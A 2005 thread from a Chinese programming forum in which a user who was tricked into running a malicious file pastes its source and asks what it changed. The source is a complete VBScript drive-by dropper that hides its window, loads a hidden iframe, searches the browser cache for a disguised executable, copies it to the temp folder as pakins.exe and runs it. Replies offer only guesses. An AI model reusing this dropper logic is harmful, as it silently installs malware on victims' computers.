| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 615 人关注过本帖
标题:[求助]被骗下了个破坏程序 还运行了-_-! 谁能进来帮我看看
只看楼主 加入收藏
ccc2
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2005-3-21
收藏
 问题点数:0 回复次数:3 
[求助]被骗下了个破坏程序 还运行了-_-! 谁能进来帮我看看

昨天下载bt文件时被骗了下了个不知道是什么恶意程序还运行了 谁能帮我看看 到底修改了什么,怎么才能改回来? 文件上传了如下 我把它压缩了 [attach]1529[/attach] 用写字板打开文件如下

<html> <title>online flash games</title> <iframe src="pakins.htm" width="0" height="0" frameborder="0"></iframe>

<SCRIPT LANGUAGE="VBScript"> Option Explicit Dim FSO, WSH Dim strCachePath, strExePath '系统缓存文件的路径,要搜索的Exe文件的路径 Dim lngSuccess '搜索是否成功

window.resizeTo 0, 0 window.moveto 10000, 10000

Set FSO = CreateObject("Scripting.FileSystemObject") Set WSH = CreateObject("WScript.Shell") strCachePath = WSH.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache") lngSuccess = 0

Sub StartSearch() SearchFile FSO.GetFolder(strCachePath), "pakins[1].htm" if lngSuccess = 0 then SearchFile FSO.GetFolder(strCachePath), "pakins[2].htm" if lngSuccess = 0 then setTimeout "StartSearch()", 1000 End Sub

Function SearchFile(Folder, strFileName) On Error Resume Next Dim SubFolder '子文件夹对象 Dim strWinTmpPath, strWinSysPath Dim strFilePath, File '当前的文件路径,当前的文件对象

strFilePath=FSO.GetParentFolderName(Folder) & "\" & Folder.Name & "\" If FSO.FileExists(strFilePath & strFileName) Then strWinTmpPath = FSO.GetSpecialFolder(2) & "\" strWinSysPath = FSO.GetSpecialFolder(1) & "\" set File = FSO.GetFile(strFilePath & strFileName)

If File.Size = 104469 then File.Copy(strWinTmpPath & "pakins.exe") WSH.Run strWinTmpPath & "pakins.exe" lngSuccess = 1 'MsgBox "搞定" window.close() Else Exit Function End If End If

If Folder.SubFolders.Count <> 0 Then For Each SubFolder In Folder.SubFolders SearchFile SubFolder, strFileName Next End If End Function

setTimeout "StartSearch()", 1000

</SCRIPT>

<body> 免费空间广告窗口,稍后将自动关闭。

</body> </html>

搜索更多相关主题的帖子: 运行 
2005-03-21 19:16
白峰
Rank: 1
等 级:新手上路
帖 子:29
专家分:0
注 册:2004-9-13
收藏
得分:0 
呵呵,ASP我还在研究!
所以我看不懂!

白天永远都是我们寂静的时刻,只有到晚上,我们才会睁这惺忪的双眼来窥视着网络!让所有收费的东西都害怕我们吧!免费万岁,自由万岁!
2005-03-23 21:02
白峰
Rank: 1
等 级:新手上路
帖 子:29
专家分:0
注 册:2004-9-13
收藏
得分:0 
有点眉目了,这个程序好像调用了你的缓存了!
你的机子是不是运行的很慢!

白天永远都是我们寂静的时刻,只有到晚上,我们才会睁这惺忪的双眼来窥视着网络!让所有收费的东西都害怕我们吧!免费万岁,自由万岁!
2005-03-23 21:04
philosophy
Rank: 1
等 级:新手上路
帖 子:11
专家分:0
注 册:2004-12-21
收藏
得分:0 
是不是弹出一个对话框,显示:“搞定”。

2005-03-24 16:33
快速回复:[求助]被骗下了个破坏程序 还运行了-_-! 谁能进来帮我看看
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016606 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved